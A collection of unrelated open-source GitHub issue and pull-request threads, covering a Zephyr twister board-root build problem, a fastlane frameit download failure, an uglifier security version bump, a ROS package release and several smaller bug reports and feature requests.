make[6]: Leaving directory '/home/druffer/zephyrproject/zephyr/twister-out/pets_v2_dev_kit/tests/kernel/sched/preempt/kernel.scheduler.preempt'
[ 92%] Built target ..__zephyr-tmo-sdk__drivers__sensor__tmp108
make[6]: Entering directory '/home/druffer/zephyrproject/zephyr/twister-out/pets_v2_dev_kit/tests/kernel/sched/preempt/kernel.scheduler.preempt'
make[6]: Leaving directory '/home/druffer/zephyrproject/zephyr/twister-out/pets_v2_dev_kit/tests/kernel/sched/preempt/kernel.scheduler.preempt'
[ 94%] Built target zephyr_prebuilt
make[6]: Entering directory '/home/druffer/zephyrproject/zephyr/twister-out/pets_v2_dev_kit/tests/kernel/sched/preempt/kernel.scheduler.preempt'
make[6]: Leaving directory '/home/druffer/zephyrproject/zephyr/twister-out/pets_v2_dev_kit/tests/kernel/sched/preempt/kernel.scheduler.preempt'
[ 95%] Built target linker_zephyr_final_script_target
make[6]: Entering directory '/home/druffer/zephyrproject/zephyr/twister-out/pets_v2_dev_kit/tests/kernel/sched/preempt/kernel.scheduler.preempt'
make[6]: Leaving directory '/home/druffer/zephyrproject/zephyr/twister-out/pets_v2_dev_kit/tests/kernel/sched/preempt/kernel.scheduler.preempt'
[100%] Built target zephyr_final
make[5]: Leaving directory '/home/druffer/zephyrproject/zephyr/twister-out/pets_v2_dev_kit/tests/kernel/sched/preempt/kernel.scheduler.preempt'
make[4]: Leaving directory '/home/druffer/zephyrproject/zephyr/twister-out/pets_v2_dev_kit/tests/kernel/sched/preempt/kernel.scheduler.preempt'
-- west flash: using runner jlink
-- runners.jlink: JLink version: 7.22
-- runners.jlink: Flashing file: /home/druffer/zephyrproject/zephyr/twister-out/pets_v2_dev_kit/tests/kernel/sched/preempt/kernel.scheduler.preempt/zephyr/zephyr.hex
make[3]: Leaving directory '/home/druffer/zephyrproject/zephyr/twister-out/pets_v2_dev_kit/tests/kernel/sched/preempt/kernel.scheduler.preempt'
Built target flash
make[2]: Leaving directory '/home/druffer/zephyrproject/zephyr/twister-out/pets_v2_dev_kit/tests/kernel/sched/preempt/kernel.scheduler.preempt'
make[1]: Leaving directory '/home/druffer/zephyrproject/zephyr/twister-out/pets_v2_dev_kit/tests/kernel/sched/preempt/kernel.scheduler.preempt'
make: Leaving directory '/home/druffer/zephyrproject/zephyr/twister-out/pets_v2_dev_kit/tests/kernel/sched/preempt/kernel.scheduler.preempt'
DEBUG   - DEVICE: Running test suite suite_preempt
DEBUG   - DEVICE: ===================================================================
DEBUG   - DEVICE: START - test_preempt
DEBUG   - DEVICE: PASS - test_preempt in 0.61 seconds
DEBUG   - DEVICE: ===================================================================
DEBUG   - DEVICE: Test suite suite_preempt succeeded
DEBUG   - DEVICE: ===================================================================
DEBUG   - DEVICE: PROJECT EXECUTION SUCCESSFUL
DEBUG   - run status: pets_v2_dev_kit/tests/kernel/sched/preempt/kernel.scheduler.preempt passed
INFO    - 1/1 pets_v2_dev_kit           tests/kernel/sched/preempt/kernel.scheduler.preempt PASSED (device 2.575s)
DEBUG   - running footprint_reports
INFO    - 1 of 1 test configurations passed (100.00%), 0 failed, 0 skipped with 0 warnings in 11.74 seconds
INFO    - In total 1 test cases were executed, 0 skipped on 1 out of total 373 platforms (0.27%)
INFO    - 1 test configurations executed on platforms, 0 test configurations were only built.
Hardware distribution summary:

Board
ID
Counter

pets_v2_dev_kit

1

INFO    - Saving reports...

INFO    - Writing xunit report /home/druffer/zephyrproject/zephyr/twister-out/twister.xml...

INFO    - Writing xunit report /home/druffer/zephyrproject/zephyr/twister-out/twister_report.xml...

INFO    - Run completed

Environment (please complete the following information):

OS: Linux
Toolchain Zephyr SDK
Commit SHA or Version used: 69a95bcafaf696f86aaada131c298028e6796e89

Additional context
N/A

you need to specify the "boards" directory, so for example:
cd ../
git clone git@github.com:zephyrproject-rtos/example-application.git
cd zephyr
twister -T samples/hello_world/ -p custom_plank --board-root ../example-application/boards
This works as expected.

I still have not been able to make it work for me, so I will be looking into this shortly.
I'm not sure how to reopen this though

Using druffer@druffer-Surface-Pro-2:~/zephyrproject/zephyr$ ./scripts/twister -vvv --device-testing --testcase-root tests/drivers/gpio/gpio_basic_api --hardware-map map2.yml --board-root ../zephyr-tmo-sdk/boards/arm
removes the error message, but still does not run the tests.
Adding a soft link to the project continues to work fine:
druffer@druffer-Surface-Pro-2:~/zephyrproject/zephyr$ cd boards/arm
druffer@druffer-Surface-Pro-2:~/zephyrproject/zephyr/boards/arm$ ln -s ../../../zephyr-tmo-sdk/boards/arm/pets_v2_dev_kit pets_v2_dev_kit

@catch-twenty-two found a solution for this problem:
./scripts/twister -vvv --device-testing --device-serial-baud 9600 --device-serial /dev/ttyUSB1 --platform pets_v2_dev_kit -T  samples/sensor/tmp108/ --board-root /home/jimmy/zephyrupstream/zephyr-tmo-sdk/boards/ --extra-args=BOARD_ROOT=/home/jimmy/zephyrupstream/zephyr-tmo-sdk/
Basically, the twister scripts are not passing the BOARD_ROOT parameter

@catch-twenty-two found a solution for this problem:
./scripts/twister -vvv --device-testing --device-serial-baud 9600 --device-serial /dev/ttyUSB1 --platform pets_v2_dev_kit -T samples/sensor/tmp108/ --board-root /home/jimmy/zephyrupstream/zephyr-tmo-sdk/boards/ --extra-args=BOARD_ROOT=/home/jimmy/zephyrupstream/zephyr-tmo-sdk/
Basically, the twister scripts are not passing the BOARD_ROOT parameter

Reopening based on the above

BOARD_ROOT is not something twister cares about, this is a build system variable and as you see above, it is different from what you specify to --board-root. So either put this in the module yaml file or declare it before you call twister.

@nashif could you explain how to put the board root in the module yaml? I couldnt find out how to do this.

https://docs.zephyrproject.org/latest/develop/modules.html

Just a note to anyone like me who's having this issue, make sure your board yaml file name ends in ".yaml" not ".yml", e.g. "custom_plank.yaml" NOT "custom_plank.yml"....


Make names shorter

Helm Charts.
Sometimes when running tests you may encounter problems like this:
Service “hmm597-7803-e2e-brokencrystals-dev-keycloak-postgres-prod-service” is invalid: metadata.name: Invalid value: “hmm597-7803-e2e-brokencrystals-dev-keycloak-postgres-prod-service”: must be no more than 63 characters
So I shortened the name suffixes and reduced the trunc function parameter to 50, which applies to part of the name.

This also applies to the main branch, it’s just -dev shorter and problems may arise less frequently.


EV3 sound sensor does not show up in wait until block

Describe the bug

The EV3 sound sensor does not have an entry in the generic wait until sensor block.

To Reproduce
Steps to reproduce the behavior:

Add wait until sensor block to program
Open the dropdown menu
Observe that no sound sensor entry is available

Expected behavior

Sound sensor is available to be selected.

shows up now, works.


Sleep before deleting the cluster to give the controller manager time to

delete any cloudprovider resources still around from the last test.
Should (hopefully) fix #7753.
@quinton-hoole @zmerlynn

Marking this for v1.0 milestone since it fixes test instability. Assigning @quinton-hoole

One nit.  Other than that, LGTM.


test: added tests for upload of different file types

Added tests for file upload
1.Jpeg
2.png
3. Replace an existing file
4. Remove a file
Test coverage results :test_tube:
:white_circle: Total coverage has not changed
No changes to code coverage between the base branch and the head branch

/ok-to-test sha=afdb149

/ok-to-test sha=afdb149


Update uglifier gem and dependencies to v2.7.2

Uglifier prior to version 2.7.2 has a known vulnerability:

There's a vulnerability which allows a specially crafted Javascript file to
have altered functionality after minification. This bug was demonstrated to
allow potentially malicious code to be hidden within secure code, activated by
minification. Affected versions erroneously minify boolean expressions.

Sources:

https://github.com/lautis/uglifier/pull/86
https://zyan.scripts.mit.edu/blog/backdooring-js/
https://nodesecurity.io/advisories/uglifyjs_incorrectly_handles_non-boolean_comparisons
https://github.com/mishoo/UglifyJS2/issues/751

:wave: @mikemcquaid @dgoodlad @rafaelfranca: Would you please review this change when convenient.


Fastlane Frameit wont download frames running on bitrise

New Issue Checklist

[x] Updated fastlane to the latest version
[x] I read the Contribution Guidelines
[x] I read docs.fastlane.tools
[x] I searched for existing GitHub issues

Issue Description

Fastlane frameit wont download the frames
This work previously, and now it doesn't. Seems getting write error?

Command executed

Complete output when running fastlane, including the stack trace and command used

 Fastlane frameit wont download the frames. It worked before since last week and successfully framing our screenshots

Environment

✅ fastlane environment ✅
### Stack
| Key                         | Value                                            |
| --------------------------- | ------------------------------------------------ |
| OS                          | 10.15.7                                          |
| Ruby                        | 2.6.5                                            |
| Bundler?                    | false                                            |
| Git                         | git version 2.30.1                               |
| Installation Source         | ~/.rbenv/versions/2.6.5/bin/fastlane             |
| Host                        | Mac OS X 10.15.7 (19H2)                          |
| Ruby Lib Dir                | ~/.rbenv/versions/2.6.5/lib                      |
| OpenSSL Version             | OpenSSL 1.1.1i  8 Dec 2020                       |
| Is contained                | false                                            |
| Is homebrew                 | false                                            |
| Is installed via Fabric.app | false                                            |
| Xcode Path                  | /Applications/Xcode-12.4.app/Contents/Developer/ |
| Xcode Version               | 12.4                                             |
### System Locale
| Variable | Value       |   |
| -------- | ----------- | - |
| LANG     | en_US.UTF-8 | ✅ |
| LC_ALL   | en_US.UTF-8 | ✅ |
| LANGUAGE | en_US.UTF-8 | ✅ |
### fastlane files:
**No Fastfile found**
**No Appfile found**
### fastlane gems
| Gem      | Version | Update-Status |
| -------- | ------- | ------------- |
| fastlane | 2.179.0 | ✅ Up-To-Date  |
### Loaded fastlane plugins:
**No plugins Loaded**
Loaded gems
| Gem                           | Version      |
| ----------------------------- | ------------ |
| did_you_mean                  | 1.3.0        |
| slack-notifier                | 2.3.2        |
| atomos                        | 0.1.3        |
| CFPropertyList                | 3.0.3        |
| claide                        | 1.0.3        |
| colored2                      | 3.1.2        |
| nanaimo                       | 0.3.0        |
| xcodeproj                     | 1.19.0       |
| rouge                         | 2.0.7        |
| xcpretty                      | 0.3.0        |
| terminal-notifier             | 2.0.0        |
| unicode-display_width         | 1.7.0        |
| terminal-table                | 1.8.0        |
| plist                         | 3.6.0        |
| public_suffix                 | 4.0.6        |
| addressable                   | 2.7.0        |
| multipart-post                | 2.0.0        |
| word_wrap                     | 1.0.0        |
| tty-screen                    | 0.8.1        |
| tty-cursor                    | 0.7.1        |
| tty-spinner                   | 0.9.3        |
| artifactory                   | 3.0.15       |
| babosa                        | 1.0.4        |
| colored                       | 1.2          |
| highline                      | 1.7.10       |
| commander-fastlane            | 4.4.6        |
| excon                         | 0.79.0       |
| faraday-net_http              | 1.0.1        |
| ruby2_keywords                | 0.0.4        |
| faraday                       | 1.3.0        |
| unf_ext                       | <IP_ADDRESS>      |
| unf                           | 0.1.4        |
| domain_name                   | 0.5.20190701 |
| http-cookie                   | 1.0.3        |
| faraday-cookie_jar            | 0.0.7        |
| faraday_middleware            | 1.0.0        |
| fastimage                     | 2.2.3        |
| gh_inspector                  | 1.1.3        |
| json                          | 2.1.0        |
| mini_magick                   | 4.11.0       |
| naturally                     | 2.2.1        |
| rubyzip                       | 2.3.0        |
| security                      | 0.1.3        |
| xcpretty-travis-formatter     | 1.0.1        |
| dotenv                        | 2.7.6        |
| simctl                        | 1.6.8        |
| jwt                           | 2.2.2        |
| uber                          | 0.1.0        |
| declarative                   | 0.0.20       |
| declarative-option            | 0.1.0        |
| representable                 | 3.0.4        |
| retriable                     | 3.1.2        |
| mini_mime                     | 1.0.2        |
| multi_json                    | 1.15.0       |
| signet                        | 0.14.1       |
| memoist                       | 0.16.2       |
| os                            | 1.1.1        |
| googleauth                    | 0.15.1       |
| httpclient                    | 2.8.3        |
| google-api-client             | 0.38.0       |
| google-cloud-env              | 1.4.0        |
| google-cloud-errors           | 1.0.1        |
| google-cloud-core             | 1.5.0        |
| rexml                         | 3.1.9        |
| webrick                       | 1.4.2        |
| google-apis-core              | 0.2.1        |
| google-apis-iamcredentials_v1 | 0.1.0        |
| google-apis-storage_v1        | 0.2.0        |
| rake                          | 12.3.2       |
| digest-crc                    | 0.6.3        |
| google-cloud-storage          | 1.30.0       |
| emoji_regex                   | 3.2.2        |
| jmespath                      | 1.4.0        |
| aws-partitions                | 1.430.0      |
| aws-eventstream               | 1.1.0        |
| aws-sigv4                     | 1.2.2        |
| aws-sdk-core                  | 3.112.0      |
| aws-sdk-kms                   | 1.42.0       |
| aws-sdk-s3                    | 1.89.0       |
| bundler                       | 2.1.4        |
| forwardable                   | 1.2.0        |
| logger                        | 1.3.0        |
| date                          | 2.0.0        |
| stringio                      | 0.0.2        |
| zlib                          | 1.0.0        |
| ipaddr                        | 1.2.2        |
| openssl                       | 2.1.2        |
| ostruct                       | 0.1.0        |
| strscan                       | 1.0.0        |
| fileutils                     | 1.1.0        |
| etc                           | 1.0.1        |
| io-console                    | 0.4.7        |
| racc                          | 1.5.2        |
| nokogiri                      | 1.11.1       |
| psych                         | 3.1.0        |
| mutex_m                       | 0.1.0        |

*generated on:* **2021-03-30**

Even lowering the versions seems made it broken, hopefully this can be fixed

Even lowering versions seems its broken with bitrise, hopefully this would be fixed.

This looks more like an issue of Bitrise. Are you sure that you have the correct read/write access?

@max-ott, its already resolved, it seemed that bitrise has issues on github pages last march 31


[Bug]: fetching spotify stream slow and sometime fails

from commit https://github.com/noaione/spotilava/commit/cc21f8d3c35392aba71fba60bca6d696eb511c5f resolve spotify stream a bit slow. than before, and also sometimes there is an error can't find mp3

Can you give me the track you're trying to fetch that have noticeable slow down, and also the error for MP3 file.

seems to be fixed, maybe because of a lot of traffic so it's a bit slow


Implement JpqlSerializer for JpqlDivide

Backgrounds

In Kotlin JDSL 3.0.0, the Query objects no longer know how to draw themselves as SQL String.
The Query object is drawn in JPQL String by JpqlSerializer.

Requirements

Please implement  JpqlSerializer that draws JpqlDivide as a SQL String.
Please implement a unit test for the implemented class.

Contribution

Please check if there is an assignee in this issue. And if it don't have an assignee, please change the assignee to yourself.
Please check the commit convention through the commitlint.config.js file. The commit  convention also described in the PR template.
When you use intellij, please set the code style through the .editorconfig file.
Please create the PR for develop/3.0.0 as the base branch.
If you have any questions, please leave comment in Kotlin-JDSL Discord Channel in LINE Open Source

This issue is closed by #420


[community]: Native RAG Support in Prem AI langchain

This PR adds native RAG support in langchain premai package. The same has been added in the docs too.

Preparing review...

Preparing review...

Let me know if this is ready for merge, thanks :)

Hi, let me know if we can merge this one thanks
cc: @eyurtsev @baskaryan


docs: Fix a few typos

There are small typos in:

Python/Product/DebuggerHelper/trace.cpp
Python/Product/PythonTools/ptvsd/repl/init.py

Fixes:

Should read occurred rather than occured.
Should read communicated rather than communucated.

Semi-automated pull request generated by
https://github.com/timgates42/meticulous/blob/master/docs/NOTE.md

Thanks for the fixes! 😄


Support for default duplicator blacklist

Garry's default duplicator supports entity blacklisting via duplicator.IsAllowed(classname) and Entity.DoNotDuplicate - I'd love Adv. Duplicator to adhere to these as it'd be useful to blacklist specific entities in an installation-independent manner.  Can take a look at this if you're open to pull requests.
Related discussion: http://facepunch.com/showthread.php?t=1442021

As it is fixed now, it can be closed. :)


Confirm to RFC RFC0043: Reproducible builds

To confirm to RFC0043 this buildpack should ensure that builds are reproducible. Specifically it should not include a built_at metadata field. In the tests that leverage this field to assert layer reuse, we should instead compare layer SHA values across rebuilds.
See also the tracking issue: https://github.com/paketo-buildpacks/rfcs/issues/165.

As part of this, we should also add an integration test for layer reuse (see https://github.com/paketo-buildpacks/cpython/blob/main/integration/layer_reuse_test.go for an example).


romeo_dcm_robot: 0.1.5-1 in 'indigo/distribution.yaml' [bloom]

Increasing version of package(s) in repository romeo_dcm_robot to 0.1.5-1:

upstream repository: https://github.com/ros-aldebaran/romeo_dcm_robot.git
release repository: https://github.com/ros-aldebaran/romeo_dcm_robot-release.git
distro file: indigo/distribution.yaml
bloom version: 0.5.21
previous version for package: null

romeo_dcm_control
* adding config for Gazebo: Gazebo xacro files and full list of controllers
* 0.1.4
* update changelog
* 0.1.3
* udpate changelogs
* excluding torso controller for a moment
* 0.1.2
* update changelogs
* 0.1.1
* update changelogs
* adding head and torso controllers
* few changes in arm and hand controllers to make compatible with romeo_moveit_config
* Removing the namespace prefix and fixing the head controllers with correct joint names (the HeadYaw joint does not exist)
* 0.1.0
* update the changelog
* 0.0.13
* update changelogs
* 0.0.12
* update changelogs
* 0.0.11
* update changelogs
* 0.0.10
* update changelog
* 0.0.9
* update changelogs
* 0.0.8
* update changelog
* 0.0.7
* update changelog
* 0.0.6
* update changelog
* 0.0.5
* update changelog
* 0.0.4
* changelog
* 0.0.3
* update changelog for build
* 0.0.2
* updated changelog
* 0.0.1
* update version
* add changelog for release
* added control via DCM proxy
* Contributors: Ha Dang, Mikael ARGUEDAS, Mikael Arguedas, Natalia Lyubova, Vincent Rabaud, margueda, nlyubova

@nlyubova I do think that this is not the technique we want to adopt for releasing this romeo_dcm_control package. I would like to hold this PR the time we figure out the best way to do it (cf https://github.com/ros-aldebaran/romeo_robot-release/pull/2#issuecomment-231398312)

so, how do you prefer ? I need it tomorrow :)

2 solutions: either move to romeo_virtual (but it requires some work on merging 2 git statistics) or releasing like this
It is not dependent on naoqi and I've already release it for Pepper

closing this in favor of #12117


feat(EnumInfo-GetName): add support for bit flags

closes #1

Enumeration types as bit flags with more than 10 powers-of-two-constants affect build time, with the current implementation:
// dotnet build -c Release --no-incremental
[Flags]
public enum Examples
{
	One = 1, // 00:00:05.33
	Two = 2, // 00:00:05.25
	Three = 4, // 00:00:05.29
	Four = 8, // 00:00:05.26
	Five = 16, // 00:00:05.28
	Six = 32, // 00:00:05.32
	Seven = 64, // 00:00:05.24
	Eight = 128, // 00:00:05.31
	Nine = 256, // 00:00:05.31
	Ten = 512, // 00:00:05.37
	Eleven = 1024, // 00:00:06.16
	Twelve = 2048, // 00:00:07.49
	Thirteen = 4096, // 00:00:15.72
	Fourteen = 8192, // 00:00:45.10
	Fifteen = 16384, // 00:02:37.21
}